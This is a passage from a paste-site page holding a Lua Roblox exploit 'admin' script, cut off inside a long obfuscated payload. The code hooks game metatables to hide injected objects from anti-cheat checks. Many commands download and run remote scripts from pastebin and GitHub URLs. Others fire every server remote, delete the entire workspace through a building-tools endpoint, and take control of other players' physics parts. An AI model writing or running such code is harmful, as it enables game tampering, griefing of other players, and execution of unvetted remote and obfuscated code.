R

if syn admin

public
rrixh Apr 07, 2024 Never 64
Clone
Lua synAdmin_lulaslollipop 3667 lines (3331 loc) | 200.82 KB
1
local opt = {
2
prefix = ';', -- ;ff me | /ff me
3
tupleSeparator = ',', -- ;ff me,others,all | ;ff me/others/all
4
ui = { -- never did anything with this
5
6
},
7
keybinds = { -- never did anything with this
8
9
},
10
}
11
12
--[[ VARIABLES ]]--
13
local Players = game:GetService("Players")
14
local UserInputService = game:GetService("UserInputService")
15
local TweenService = game:GetService("TweenService")
16
local RunService = game:GetService("RunService")
17
local StarterGui = game:GetService("StarterGui")
18
local SoundService = game:GetService("SoundService")
19
20
local localPlayer = Players.LocalPlayer
21
local character = localPlayer.Character
22
local mouse = localPlayer:GetMouse()
23
local camera = workspace.CurrentCamera
24
local camtype = camera.CameraType
25
local Commands, Aliases = {}, {}
26
player, plr, lp = localPlayer, localPlayer, localPlayer, localPlayer
27
28
localPlayer.CharacterAdded:Connect(function(c)
29
character = c
30
end)
31
32
--[[ COMMAND FUNCTIONS ]]--
33
cmd = {}
34
cmd.add = function(...)
35
local vars = {...}
36
local aliases, info, func = vars[1], vars[2], vars[3]
37
for i, cmdName in pairs(aliases) do
38
if i == 1 then
39
Commands[cmdName:lower()] = {func, info}
40
else
41
Aliases[cmdName:lower()] = {func, info}
42
end
43
end
44
end
45
46
cmd.run = function(args)
47
local caller, arguments = args[1], args; table.remove(args, 1);
48
local success, msg = pcall(function()
49
if Commands[caller:lower()] then
50
Commands[caller:lower()][1](unpack(arguments))
51
elseif Aliases[caller:lower()] then
52
Aliases[caller:lower()][1](unpack(arguments))
53
end
54
end)
55
if not success then
56
lib.messageOut("Admin error", msg)
57
end
58
end
59
60
--[[ LIBRARY FUNCTIONS ]]--
61
lib = {}
62
lib.wrap = function(f)
63
return coroutine.wrap(f)()
64
end
65
wrap = lib.wrap
66
67
lib.messageOut = function(title, msg)
68
StarterGui:SetCore("SendNotification",
69
{
70
Title = title,
71
Text = msg
72
}
73
)
74
end
75
76
local wait = function(int)
77
if not int then int = 0 end
78
local t = tick()
79
repeat
80
RunService.Heartbeat:Wait(0)
81
until (tick() - t) >= int
82
return (tick() - t), t
83
end
84
spawn(function()
85
lib.messageOut("Admin successfully loaded", "Have fun!")
86
end)
87
88
lib.lock = function(instance, par)
89
locks[instance] = true
90
instance.Parent = par or instance.Parent
91
instance.Name = "RightGrip"
92
end
93
lock = lib.lock
94
locks = {}
95
if hookfunction then -- i believe this was for hiding stuff like bodyvelocity
96
local pseudo = Instance.new("Motor6D")
97
_1 = hookfunction(pseudo.IsA, function(...)
98
local p, ret = ({...})[1], _1(...)
99
if checkcaller() then return ret end
100
if locks[p] then
101
return false
102
end
103
return ret
104
end)
105
_2 = hookfunction(pseudo.FindFirstChildWhichIsA, function(...)
106
local p = _2(...)
107
if checkcaller() then return p end
108
if locks[p] then
109
return nil
110
end
111
return p
112
end)
113
_3 = hookfunction(pseudo.FindFirstChildOfClass, function(...)
114
local p = _3(...)
115
if checkcaller() then return p end
116
if locks[p] then
117
return nil
118
end
119
return p
120
end)
121
_4 = hookfunction(pseudo.Destroy, function(...)
122
local args = {...}
123
if checkcaller() then return _4(...) end
124
if locks[args[1]] then return end
125
return
126
end)
127
128
local mt = getrawmetatable(game)
129
local _ni = mt.__newindex
130
local _nc = mt.__namecall
131
local _i = mt.__index
132
setreadonly(mt, false)
133
134
mt.__index = newcclosure(function(t, i)
135
if locks[t] and not checkcaller() then
136
return _i(pseudo, i)
137
end
138
return _i(t, i)
139
end)
140
mt.__newindex = newcclosure(function(t, i, v)
141
if locks[t] and not checkcaller() then
142
return _ni(pseudo, i, v)
143
end
144
return _ni(t, i, v)
145
end)
146
mt.__namecall = newcclosure(function(t, ...)
147
if locks[t] and not checkcaller() then
148
return _nc(pseudo, ...)
149
end
150
return _nc(t, ...)
151
end)
152
end
153
154
lib.find = function(t, v) -- mmmmmm
155
for i, e in pairs(t) do
156
if i == v or e == v then
157
return i
158
end
159
end
160
return nil
161
end
162
163
lib.parseText = function(text, watch)
164
local parsed = {}
165
if not text then return nil end
166
for arg in text:gmatch("[^" .. watch .. "]+") do
167
arg = arg:gsub("-", "%%-")
168
local pos = text:find(arg)
169
arg = arg:gsub("%%", "")
170
if pos then
171
local find = text:sub(pos - opt.prefix:len(), pos - 1)
172
if (find == opt.prefix and watch == opt.prefix) or watch ~= opt.prefix then
173
table.insert(parsed, arg)
174
end
175
else
176
table.insert(parsed, nil)
177
end
178
end
179
return parsed
180
end
181
182
lib.parseCommand = function(text)
183
wrap(function()
184
local commands = lib.parseText(text, opt.prefix)
185
for _, parsed in pairs(commands) do
186
local args = {}
187
for arg in parsed:gmatch("[^ ]+") do
188
table.insert(args, arg)
189
end
190
cmd.run(args)
191
end
192
end)
193
end
194
195
local connections = {}
196
197
lib.connect = function(name, connection) -- no :(
198
connections[name .. tostring(math.random(1000000, 9999999))] = connection
199
return connection
200
end
201
202
lib.disconnect = function(name)
203
for title, connection in pairs(connections) do
204
if title:find(name) == 1 then
205
connection:Disconnect()
206
end
207
end
208
end
209
210
m = math -- prepare for annoying and unnecessary tool grip math
211
rad = m.rad
212
clamp = m.clamp
213
sin = m.sin
214
tan = m.tan
215
cos = m.cos
216
217
--[[ PLAYER FUNCTIONS ]]--
218
argument = {}
219
argument.getPlayers = function(str)
220
local playerNames, players = lib.parseText(str, opt.tupleSeparator), {}
221
for _, arg in pairs(playerNames or {"me"}) do
222
arg = arg:lower()
223
local playerList = Players:GetPlayers()
224
if arg == "me" or arg == nil then
225
table.insert(players, localPlayer)
226
227
elseif arg == "all" then
228
for _, plr in pairs(playerList) do
229
table.insert(players, plr)
230
end
231
232
elseif arg == "others" then
233
for _, plr in pairs(playerList) do
234
if plr ~= localPlayer then
235
table.insert(players, plr)
236
end
237
end
238
239
elseif arg == "random" then
240
table.insert(players, playerList[math.random(1, #playerList)])
241
242
elseif arg:find("%%") == 1 then
243
local teamName = arg:sub(2)
244
for _, plr in pairs(playerList) do
245
if tostring(plr.Team):lower():find(teamName) == 1 then
246
table.insert(players, plr)
247
end
248
end
249
250
else
251
for _, plr in pairs(playerList) do
252
if plr.Name:lower():find(arg) == 1 then
253
table.insert(players, plr)
254
end
255
end
256
end
257
end
258
return players
259
end
260
261
--[[ COMMANDS ]]--
262
263
--[ SCRIPT ]--
264
cmd.add({"script", "ls", "s", "run"}, {"script <source>", "Run the code requested"}, function(source)
265
loadstring(source)()
266
end)
267
268
cmd.add({"httpget", "hl", "get"}, {"httpget <url>", "Run the contents of a given URL"}, function(url)
269
loadstring(game:HttpGet(url, true))()
270
end)
271
272
--[ UTILITY ]--
273
cmd.add({"devconsole", "developerconsole", "console"}, {"devconsole", "Open the old developer console"}, function()
274
StarterGui:SetCore("DeveloperConsoleVisible", true)
275
end)
276
277
cmd.add({"chatlogs", "clogs"}, {"chatlogs", "Open the chat logs"}, function()
278
gui.chatlogs()
279
end)
280
281
cmd.add({"commands", "cmds"}, {"commands", "Open the command list"}, function()
282
gui.commands()
283
end)
284
285
cmd.add({"print", "p"}, {"print <tuple>", "Print the given arguments"}, function(...)
286
print(...)
287
end)
288
289
cmd.add({"warn", "w"}, {"warn <tuple>", "Warn the given arguments"}, function(...)
290
warn(...)
291
end)
292
293
cmd.add({"rejoin", "rj"}, {"rejoin", "Rejoin the game"}, function()
294
game:GetService("TeleportService"):Teleport(game.PlaceId)
295
end)
296
297
cmd.add({"place", "game", "join"}, {"place <placeId> [player]", "Join a place with the given PlaceId or a player's server"}, function(placeid, playerName)
298
game:GetService("TeleportService"):Teleport(placeid, playerName)
299
end)
300
301
cmd.add({"disconnectevents", "disableevents"}, {"disconnectevents <instance> <event>", "Disable the given instance's connections to the event"}, function(objDir, event)
302
local obj = loadstring("return " .. objDir)()
303
local events = getconnections(obj[event])
304
for _, connection in pairs(events) do
305
connection:Disable()
306
end
307
end)
308
309
cmd.add({"grabtools", "gt"}, {"grabtools", "Grabs any dropped tools"}, function()
310
for i, v in pairs(workspace.Tools:GetChildren()) do
311
v.LidToggle:FireServer()
312
end
313
end)
314
315
cmd.add({"fireclickdetectors", "fcd"}, {"fireclickdetectors", "Fires every click detector that's in workspace"}, function()
316
for i,v in pairs(game:GetDescendants()) do
317
if v:IsA("ClickDetector") then
318
fireclickdetector(v)
319
end
320
end
321
end)
322
323
cmd.add({"firetouchinterests", "fti"}, {"firetouchinterests", "Fires every Touch Interest that's in workspace"}, function()
324
for _,v in pairs(workspace:GetDescendants()) do
325
if v:IsA("TouchTransmitter") then
326
firetouchinterest(game.Players.LocalPlayer.Character.HumanoidRootPart, v.Parent, 0) --0 is touch
327
wait()
328
firetouchinterest(game.Players.LocalPlayer.Character.HumanoidRootPart, v.Parent, 1) -- 1 is untouch
329
end
330
end
331
end)
332
333
cmd.add({"fireproximityprompts", "fpp"}, {"fireproximityprompts", "Fires every Touch Interest that's in workspace"}, function()
334
fireproximityprompt(workspace.Instance.ProximityPrompt, 1, true)
335
end)
336
337
cmd.add({"fireremotes"}, {"fireremotes", "Fires every remote."}, function()
338
for i,v in pairs(game:GetDescendants()) do
339
if v:IsA("RemoteEvent") then
340
v:FireServer()
341
if v:IsA("BindableEvent") then
342
v:Fire()
343
if v:IsA("RemoteFunction") then
344
v:InvokeServer()
345
end
346
end
347
end
348
end
349
end)
350
351
352
cmd.add({"unanchoredfollow"}, {"unanchoredfollow", "Makes unanchored parts follow you"}, function()
353
--[[ FE Unanchored Parts Follow
354
Script made by Cyclically | Credits to dhruvil123 for a few parts of the script
355
also credits to "Discordgotbanned" in discord for giving me motivation to fix this script
356
https://v3rmillion.net/member.php?action=profile&uid=785986
357
Don't edit script unless you know what you're doing. If you wanna add this into a script
358
359
the floating unanchored parts around u will stop floating when a player is near but it will come back when they get far away again, this is due roblox's gay ass networkownershit
360
]]
361
local LocalPlayer = game:GetService("Players").LocalPlayer
362
local unanchoredparts = {}
363
local movers = {}
364
for index, part in pairs(workspace:GetDescendants()) do
365
if part:IsA("Part") and part.Anchored == false and part:IsDescendantOf(LocalPlayer.Character) == false then
366
table.insert(unanchoredparts, part)
367
part.Massless = true
368
part.CanCollide = false
369
if part:FindFirstChildOfClass("BodyPosition") ~= nil then
370
part:FindFirstChildOfClass("BodyPosition"):Destroy()
371
end
372
end
373
end
374
for index, part in pairs(unanchoredparts) do
375
local mover = Instance.new("BodyPosition", part)
376
table.insert(movers, mover)
377
mover.MaxForce = Vector3.new(math.huge, math.huge, math.huge)
378
end
379
repeat
380
for index, mover in pairs(movers) do
381
mover.Position = LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame:PointToWorldSpace(Vector3.new(0, 0, 5))
382
end
383
wait(0.5)
384
until LocalPlayer.Character:FindFirstChild("Humanoid").Health <= 0
385
for _, mover in pairs(movers) do
386
mover:Destroy()
387
end
388
end)
389
390
cmd.add({"fov"}, {"fov <number>", "Makes your FOV to something custom you want (1-120 FOV)"}, function(...)
391
game.Workspace.CurrentCamera.FieldOfView = (...)
392
end)
393
394
cmd.add({"networkown"}, {"networkown", "makes network ownership to unanchored parts yours"}, function(part)
395
spawn(function()
396
while true do
397
game.Players.LocalPlayer.MaximumSimulationRadius = math.pow(math.huge,math.huge)*math.huge
398
game.Players.LocalPlayer.SimulationRadius = math.pow(math.huge,math.huge)*math.huge
399
game:GetService("RunService").Stepped:wait()
400
end
401
end)
402
end)
403
404
cmd.add({"homebrew"}, {"homebrew", "Executes homebrew admin"}, function()
405
_G.CustomUI = false
406
loadstring(game:HttpGet(('https://raw.githubusercontent.com/mgamingpro/HomebrewAdmin/master/Main'),true))()
407
end)
408
409
cmd.add({"fatesadmin"}, {"fatesadmin", "Executes fates admin"}, function()
410
loadstring(game:HttpGet("https://raw.githubusercontent.com/fatesc/fates-admin/main/main.lua"))();
411
end)
412
413
cmd.add({"krystaldance"}, {"krystaldance", "Krystal Dance"}, function()
414
loadstring(game:HttpGet('https://gist.githubusercontent.com/1BlueCat/e51327540d1ba5ede244c459dbdb5a0e/raw/6320fe344ac51a311ef7c9f8d5c3924b1a7c3969/Krystal%2520Dance'))()
415
end)
416
417
cmd.add({"toolui"}, {"toolui", "cool tool ui aka replication ui made by 0866"}, function()
418
loadstring(game:HttpGet("https://pastebin.com/raw/vr2YVyF6"))();
419
end)
420
421
cmd.add({"size"}, {"size", "makes you a big boy (r15 only)"}, function()
422
if Player.Character:FindFirstChild("UpperTorso") then
423
loadstring(game:HttpGet("https://pastebin.com/raw/mVpRNwa1"))();
424
end
425
end)
426
427
cmd.add({"ws"}, {"ws <number>", "Makes your WalkSpeed whatever you want"}, function(...)
428
game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = (...)
429
end)
430
431
cmd.add({"jp"}, {"jp <number>", "Makes your JumpPower whatever you want"}, function(...)
432
game.Players.LocalPlayer.Character.Humanoid.JumpPower = (...)
433
end)
434
435
cmd.add({"oofspam"}, {"oofspam", "Spams oof"}, function()
436
_G.enabled = true -- Re-execute to turn off
437
_G.speed = 110 -- Keep around 100 or it wont play
438
439
-- Variables
440
local RunService = game:GetService("RunService");
441
local Players = game:GetService("Players");
442
local LocalPlayer = game:GetService("Players").LocalPlayer;
443
444
local Character = LocalPlayer.Character or LocalPlayer.CharacterAdded:Wait();
445
local Humanoid = Character:WaitForChild("Humanoid") or Character:FindFirstChildOfClass("Humanoid");
446
local HRP = Humanoid.RootPart or Humanoid:FindFirstChild("HumanoidRootPart")
447
448
-- Check
449
if not Humanoid or not _G.enabled then
450
if Humanoid and Humanoid.Health <= 0 then
451
Humanoid:Destroy()
452
end
453
return
454
end
455
456
-- Setting Up Humanoid
457
Humanoid:SetStateEnabled(Enum.HumanoidStateType.Dead, false)
458
Humanoid.BreakJointsOnDeath = false
459
Humanoid.RequiresNeck = false
460
461
local con; con = RunService.Stepped:Connect(function()
462
if not Humanoid then return con:Disconnect() end
463
Humanoid:ChangeState(Enum.HumanoidStateType.Running) -- Change state so not die
464
end)
465
466
-- Infinite Death [literally 3 lines dont make it complicated]
467
LocalPlayer.Character = nil
468
LocalPlayer.Character = Character
469
task.wait(Players.RespawnTime + 0.1)
470
471
-- Looping Death
472
while task.wait(1/_G.speed) do
473
Humanoid:ChangeState(Enum.HumanoidStateType.Dead)
474
end
475
end)
476
477
cmd.add({"harked"}, {"harked", "Harked Reborn"}, function()
478
loadstring(game:HttpGet("https://raw.githubusercontent.com/qipurblx/Scripts/main/harked"))();
479
end)
480
481
cmd.add({"dex"}, {"dex", "Lazy Dex"}, function()
482
loadstring(game:HttpGet("https://raw.githubusercontent.com/Babyhamsta/RBLX_Scripts/main/Universal/Lazy_Dex.lua"))()
483
end)
484
485
cmd.add({"antifling"}, {"antifling", "makes you not get flinged by exploiters"}, function()
486
-- // Constants \\ --
487
-- [ Services ] --
488
local Services = setmetatable({}, {__index = function(Self, Index)
489
local NewService = game.GetService(game, Index)
490
if NewService then
491
Self[Index] = NewService
492
end
493
return NewService
494
end})
495
496
-- [ LocalPlayer ] --
497
local LocalPlayer = Services.Players.LocalPlayer
498
499
-- // Functions \\ --
500
local function PlayerAdded(Player)
501
local Detected = false
502
local Character;
503
local PrimaryPart;
504
505
local function CharacterAdded(NewCharacter)
506
Character = NewCharacter
507
repeat
508
wait()
509
PrimaryPart = NewCharacter:FindFirstChild("HumanoidRootPart")
510
until PrimaryPart
511
Detected = false
512
end
513
514
CharacterAdded(Player.Character or Player.CharacterAdded:Wait())
515
Player.CharacterAdded:Connect(CharacterAdded)
516
Services.RunService.Heartbeat:Connect(function()
517
if (Character and Character:IsDescendantOf(workspace)) and (PrimaryPart and PrimaryPart:IsDescendantOf(Character)) then
518
if PrimaryPart.AssemblyAngularVelocity.Magnitude > 50 or PrimaryPart.AssemblyLinearVelocity.Magnitude > 100 then
519
if Detected == false then
520
game.StarterGui:SetCore("ChatMakeSystemMessage", {
521
Text = "Fling Exploit detected, Player: " .. tostring(Player);
522
Color = Color3.fromRGB(255, 200, 0);
523
})
524
end
525
Detected = true
526
for i,v in ipairs(Character:GetDescendants()) do
527
if v:IsA("BasePart") then
528
v.CanCollide = false
529
v.AssemblyAngularVelocity = Vector3.new(0, 0, 0)
530
v.AssemblyLinearVelocity = Vector3.new(0, 0, 0)
531
v.CustomPhysicalProperties = PhysicalProperties.new(0, 0, 0)
532
end
533
end
534
PrimaryPart.CanCollide = false
535
PrimaryPart.AssemblyAngularVelocity = Vector3.new(0, 0, 0)
536
PrimaryPart.AssemblyLinearVelocity = Vector3.new(0, 0, 0)
537
PrimaryPart.CustomPhysicalProperties = PhysicalProperties.new(0, 0, 0)
538
end
539
end
540
end)
541
end
542
543
-- // Event Listeners \\ --
544
for i,v in ipairs(Services.Players:GetPlayers()) do
545
if v ~= LocalPlayer then
546
PlayerAdded(v)
547
end
548
end
549
Services.Players.PlayerAdded:Connect(PlayerAdded)
550
551
local LastPosition = nil
552
Services.RunService.Heartbeat:Connect(function()
553
pcall(function()
554
local PrimaryPart = LocalPlayer.Character.PrimaryPart
555
if PrimaryPart.AssemblyLinearVelocity.Magnitude > 250 or PrimaryPart.AssemblyAngularVelocity.Magnitude > 250 then
556
PrimaryPart.AssemblyAngularVelocity = Vector3.new(0, 0, 0)
557
PrimaryPart.AssemblyLinearVelocity = Vector3.new(0, 0, 0)
558
PrimaryPart.CFrame = LastPosition
559
560
game.StarterGui:SetCore("ChatMakeSystemMessage", {
561
Text = "You were flung. Neutralizing velocity.";
562
Color = Color3.fromRGB(255, 0, 0);
563
})
564
elseif PrimaryPart.AssemblyLinearVelocity.Magnitude < 50 or PrimaryPart.AssemblyAngularVelocity.Magnitude > 50 then
565
LastPosition = PrimaryPart.CFrame
566
end
567
end)
568
end)
569
end)
570
571
cmd.add({"table"}, {"table", "Turns you into a table"}, function()
572
loadstring(game:HttpGet(('https://pastebin.com/raw/UmdYd4bE'),true))()
573
local plr = game.Players.LocalPlayer
574
game:GetService("RunService").Stepped:Connect(function()
575
setsimulationradius(9e9,9e9)
576
plr.ReplicationFocus = workspace
577
settings().Physics.AllowSleep = false
578
end)
579
local runservice=game:service"RunService";
580
local player=game:service"Players"["LocalPlayer"];
581
local character=player["Character"];
582
character["Head"]:FindFirstChildOfClass"SpecialMesh":Destroy();
583
584
character["Humanoid"].HipHeight=-2;
585
character["Left Leg"]:BreakJoints();
586
character["Right Leg"]:BreakJoints();
587
character["Left Arm"]:BreakJoints();
588
character["Right Arm"]:BreakJoints();
589
while runservice["Heartbeat"]:Wait() do
590
character["Left Leg"].CFrame=character["HumanoidRootPart"].CFrame*CFrame.new(-0.5,1.5,1.5) * CFrame.Angles(math.rad(90), 0, 0);
591
character["Right Leg"].CFrame=character["HumanoidRootPart"].CFrame*CFrame.new(0.5,1.5,1.5) * CFrame.Angles(math.rad(90), 0, 0);
592
character["Left Arm"].CFrame=character["HumanoidRootPart"].CFrame*CFrame.new(-0.5,0,2);
593
character["Right Arm"].CFrame=character["HumanoidRootPart"].CFrame*CFrame.new(0.5,0,2);
594
end end)
595
596
cmd.add({"f3xdeleteall"}, {"f3xdeleteall", "Deletes everything if you have F3X"}, function()
597
for i,v in pairs(game.Workspace:GetChildren()) do
598
local args = {
599
[1] = "Remove",
600
[2] = {
601
[1] = v
602
}
603
}
604
605
game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Building Tools").SyncAPI.ServerEndpoint:InvokeServer(unpack(args))
606
end
607
end)
608
609
cmd.add({"gravitygun"}, {"gravitygun", "Probably the best gravity gun script thats fe"}, function()
610
loadstring(game:HttpGet("https://raw.githubusercontent.com/qipurblx/Script/main/Gravity%20Gun"))()
611
end)
612
613
cmd.add({"controlnpcs"}, {"controlnpcs", "Controls walking NPCS"}, function()
614
--- made by joshclark756#7155
615
-- Variables
616
local mouse = game.Players.LocalPlayer:GetMouse()
617
local uis = game:GetService("UserInputService")
618
619
-- Connect
620
mouse.Button1Down:Connect(function()
621
-- Check for Target & Left Shift
622
if mouse.Target and uis:IsKeyDown(Enum.KeyCode.LeftControl) then
623
local npc = mouse.target.Parent
624
local npcRootPart = npc.HumanoidRootPart
625
local PlayerCharacter = game:GetService("Players").LocalPlayer.Character
626
local PlayerRootPart = PlayerCharacter.HumanoidRootPart
627
local A0 = Instance.new("Attachment")
628
local AP = Instance.new("AlignPosition")
629
local AO = Instance.new("AlignOrientation")
630
local A1 = Instance.new("Attachment")
631
for _, v in pairs(npc:GetDescendants()) do
632
if v:IsA("BasePart") then
633
game:GetService("RunService").Stepped:Connect(function()
634
v.CanCollide = false
635
end)
636
end
637
end
638
PlayerRootPart:BreakJoints()
639
for _, v in pairs(PlayerCharacter:GetDescendants()) do
640
if v:IsA("BasePart") then
641
if v.Name == "HumanoidRootPart" or v.Name == "UpperTorso" or v.Name == "Head" then
642
else
643
v:Destroy()
644
end
645
end
646
end
647
PlayerRootPart.Position = PlayerRootPart.Position+Vector3.new(5, 0, 0)
648
PlayerCharacter.Head.Anchored = true
649
PlayerCharacter.UpperTorso.Anchored = true
650
A0.Parent = npcRootPart
651
AP.Parent = npcRootPart
652
AO.Parent = npcRootPart
653
AP.Responsiveness = 200
654
AP.MaxForce = math.huge
655
AO.MaxTorque = math.huge
656
AO.Responsiveness = 200
657
AP.Attachment0 = A0
658
AP.Attachment1 = A1
659
AO.Attachment1 = A1
660
AO.Attachment0 = A0
661
A1.Parent = PlayerRootPart
662
end
663
end)
664
end)
665
666
cmd.add({"attachpart"}, {"attachpart", "Attaches any Unanchored Parts to your humanoid (CTRL + LEFTCLICK ON A PART FOR IT TO WORK!)"}, function()
667
-- made by joshclark756#7155
668
-- Variables
669
local mouse = game.Players.LocalPlayer:GetMouse()
670
local uis = game:GetService("UserInputService")
671
672
-- Connect
673
mouse.Button1Down:Connect(function()
674
-- Check for Target & Left Shift
675
if mouse.Target and uis:IsKeyDown(Enum.KeyCode.LeftControl) then
676
local npc = mouse.target
677
local npcparts = mouse.target.Parent
678
local PlayerCharacter = game:GetService("Players").LocalPlayer.Character
679
local PlayerRootPart = PlayerCharacter.HumanoidRootPart
680
local A0 = Instance.new("Attachment")
681
local AP = Instance.new("AlignPosition")
682
local AO = Instance.new("AlignOrientation")
683
local A1 = Instance.new("Attachment")
684
for _, v in pairs(npcparts:GetDescendants()) do
685
if v:IsA("BasePart") or v:IsA("Part") and v.Name ~= "HumanoidRootPart" then
686
do
687
v.CanCollide = false
688
689
end
690
end
691
end
692
-- Variables
693
local mouse = game.Players.LocalPlayer:GetMouse()
694
local uis = game:GetService("UserInputService")
695
696
-- Connect
697
mouse.Button1Down:Connect(function()
698
if mouse.Target and uis:IsKeyDown(Enum.KeyCode.LeftControl) then
699
local npc = mouse.target
700
local npcparts = mouse.target.Parent
701
local PlayerCharacter = game:GetService("Players").LocalPlayer.Character
702
local PlayerRootPart = PlayerCharacter.HumanoidRootPart
703
local A0 = Instance.new("Attachment")
704
local AP = Instance.new("AlignPosition")
705
local AO = Instance.new("AlignOrientation")
706
local A1 = Instance.new("Attachment")
707
for _, v in pairs(npcparts:GetDescendants()) do
708
if v:IsA("BasePart") or v:IsA("Part") and v.Name ~= "HumanoidRootPart" then
709
do
710
v.CanCollide = false
711
712
wait(0)
713
local player = game.Players.LocalPlayer
714
local mouse = player:GetMouse()
715
bind = "e" -- has to be lowercase
716
mouse.KeyDown:connect(function(key)
717
if key == bind then do
718
v.CanCollide = true
719
end
720
end
721
end)
722
end
723
end
724
end
725
for _, v in pairs(PlayerCharacter:GetDescendants()) do
726
if v:IsA("BasePart") then
727
if v.Name == "HumanoidRootPart" or v.Name == "UpperTorso" or v.Name == "Head" then
728
729
end
730
end
731
end
732
PlayerRootPart.Position = PlayerRootPart.Position+Vector3.new(0, 0, 0)
733
PlayerCharacter.Head.Anchored = false
734
PlayerCharacter.Torso.Anchored = false
735
A0.Parent = npc
736
AP.Parent = npc
737
AO.Parent = npc
738
AP.Responsiveness = 200
739
AP.MaxForce = math.huge
740
AO.MaxTorque = math.huge
741
AO.Responsiveness = 200
742
AP.Attachment0 = A0
743
AP.Attachment1 = A1
744
AO.Attachment1 = A1
745
AO.Attachment0 = A0
746
A1.Parent = PlayerRootPart
747
end
748
end)
749
for _, v in pairs(PlayerCharacter:GetDescendants()) do
750
if v:IsA("BasePart") then
751
if v.Name == "HumanoidRootPart" or v.Name == "UpperTorso" or v.Name == "Head" then
752
753
end
754
end
755
end
756
PlayerRootPart.Position = PlayerRootPart.Position+Vector3.new(0, 0, 0)
757
PlayerCharacter.Head.Anchored = false
758
PlayerCharacter.Torso.Anchored = false
759
A0.Parent = npc
760
AP.Parent = npc
761
AO.Parent = npc
762
AP.Responsiveness = 200
763
AP.MaxForce = math.huge
764
AO.MaxTorque = math.huge
765
AO.Responsiveness = 200
766
AP.Attachment0 = A0
767
AP.Attachment1 = A1
768
AO.Attachment1 = A1
769
AO.Attachment0 = A0
770
A1.Parent = PlayerRootPart
771
end
772
end)
773
end)
774
775
cmd.add({"Netless", "Net"}, {"Netless", "Executes netless which makes scripts more stable"}, function()
776
-- when you reset make sure to re-execute this or just make this execute in a loop
777
for i,v in next, game:GetService("Players").LocalPlayer.Character:GetDescendants() do
778
if v:IsA("BasePart") and v.Name ~="HumanoidRootPart" then
779
game:GetService("RunService").Heartbeat:connect(function()
780
v.Velocity = Vector3.new(-30,0,0)
781
end)
782
end
783
end
784
785
game:GetService("StarterGui"):SetCore("SendNotification", {
786
Title = "Notification";
787
Text = "Netless Ran";
788
Icon = "rbxthumb://type=Asset&id=5107182114&w=150&h=150"})
789
Duration = 16;
790
end)
791
792
cmd.add({"FEBtools", "FEB"}, {"FEBtools", "Executes an FE Btools Script parts are by your hats"}, function()
793
local v0=tonumber;local v1=string.byte;local v2=string.char;local v3=string.sub;local v4=string.gsub;local v5=string.rep;local v6=table.concat;local v7=table.insert;local v8=getfenv or function()return _ENV;end;local v9=setmetatable;local v10=pcall;local v11=select;local v12=unpack or table.unpack;local v13=tonumber;local function v14(v15,v16)local v17=1;local v18;v15=v4(v3(v15,5),"..",function(v29)if (v1(v29,2)==79) then v18=v0(v3(v29,1,1));return "";else local v70=v2(v0(v29,16));if v18 then local v82=v5(v70,v18);v18=nil;return v82;else return v70;end end end);local function v19(v30,v31,v32)if v32 then local v71=(v30/(2^(v31-1)))%(2^(((v32-1) -(v31-1)) + 1));return v71-(v71%1);else local v72=2^(v31-1);return (((v30%(v72 + v72))>=v72) and 1) or 0;end end local function v20()local v37=v1(v15,v17,v17);v17=v17 + 1;return v37;end local function v21()local v38,v39=v1(v15,v17,v17 + 2);v17=v17 + 2;return (v39 * 256) + v38;end local function v22()local v40,v41,v42,v43=v1(v15,v17,v17 + 3);v17=v17 + 4;return (v43 * 16777216) + (v42 * 65536) + (v41 * 256) + v40;end local function v23()local v44=v22();local v45=v22();return (( -2 * v19(v45,32)) + 1) * (2^(v19(v45,21,31) -1023)) * ((((v19(v45,1,20) * (2^32)) + v44)/(2^52)) + 1);end local function v24(v33)local v46;if not v33 then v33=v22();if (v33==0) then return "";end end v46=v3(v15,v17,(v17 + v33) -1);v17=v17 + v33;local v47={};for v58=1, #v46 do v47[v58]=v2(v1(v3(v46,v58,v58)));end return v6(v47);end local v25=v22;local function v26(...)return {...},v11("#",...);end local function v27()local v48={};local v49={};local v50={};local v51={v48,v49,nil,v50};local v52=v22();local v53={};for v60=1,v52 do local v61=v20();local v62;if (v61==1) then v62=v20()~=0;elseif (v61==2) then v62=v23();elseif (v61==3) then v62=v24();end v53[v60]=v62;end v51[3]=v20();for v64=1,v22() do local v65=v20();if (v19(v65,1,1)==0) then local v78=v19(v65,2,3);local v79=v19(v65,4,6);local v80={v21(),v21(),nil,nil};if (v78==0) then v80[3]=v21();v80[4]=v21();elseif (v78==1) then v80[3]=v22();elseif (v78==2) then v80[3]=v22() -(2^16);elseif (v78==3) then v80[3]=v22() -(2^16);v80[4]=v21();end if (v19(v79,1,1)==1) then v80[2]=v53[v80[2]];end if (v19(v79,2,2)==1) then v80[3]=v53[v80[3]];end if (v19(v79,3,3)==1) then v80[4]=v53[v80[4]];end v48[v64]=v80;end end for v66=1,v22() do v49[v66-1]=v27();end for v68=1,v22() do v50[v68]=v22();end return v51;end local function v28(v34,v35,v36)local v55=v34[1];local v56=v34[2];local v57=v34[3];return function(...)local v73=1;local v74= -1;local v75={...};local v76=v11("#",...) -1;local function v77()local v83=v55;local v84=Const;local v85=v56;local v86=v57;local v87=v26;local v88={};local v89={};local v90={};for v100=0,v76 do if (v100>=v86) then v88[v100-v86]=v75[v100 + 1];else v90[v100]=v75[v100 + 1];end end local v91=(v76-v86) + 1;local v92;local v93;while true do v92=v83[v73];v93=v92[1];if (v93<=19) then if (v93<=9) then if (v93<=4) then if (v93<=1) then if (v93>0) then local v107=v92[2];v90[v107](v12(v90,v107 + 1,v92[3]));else local v108=v92[2];local v109={v90[v108](v12(v90,v108 + 1,v74))};local v110=0;for v139=v108,v92[4] do v110=v110 + 1;v90[v139]=v109[v110];end end elseif (v93<=2) then for v141=v92[2],v92[3] do v90[v141]=nil;end elseif (v93>3) then local v149=v85[v92[3]];local v150;local v151={};v150=v9({},{__index=function(v178,v179)local v191=v151[v179];return v191[1][v191[2]];end,__newindex=function(v180,v181,v182)local v192=v151[v181];v192[1][v192[2]]=v182;end});for v183=1,v92[4] do v73=v73 + 1;local v184=v83[v73];if (v184[1]==22) then v151[v183-1]={v90,v184[3]};else v151[v183-1]={v35,v184[3]};end v89[ #v89 + 1]=v151;end v90[v92[2]]=v28(v149,v150,v36);else v36[v92[3]]=v90[v92[2]];end elseif (v93<=6) then if (v93==5) then local v111=v92[2];local v112={v90[v111](v90[v111 + 1])};local v113=0;for v143=v111,v92[4] do v113=v113 + 1;v90[v143]=v112[v113];end elseif 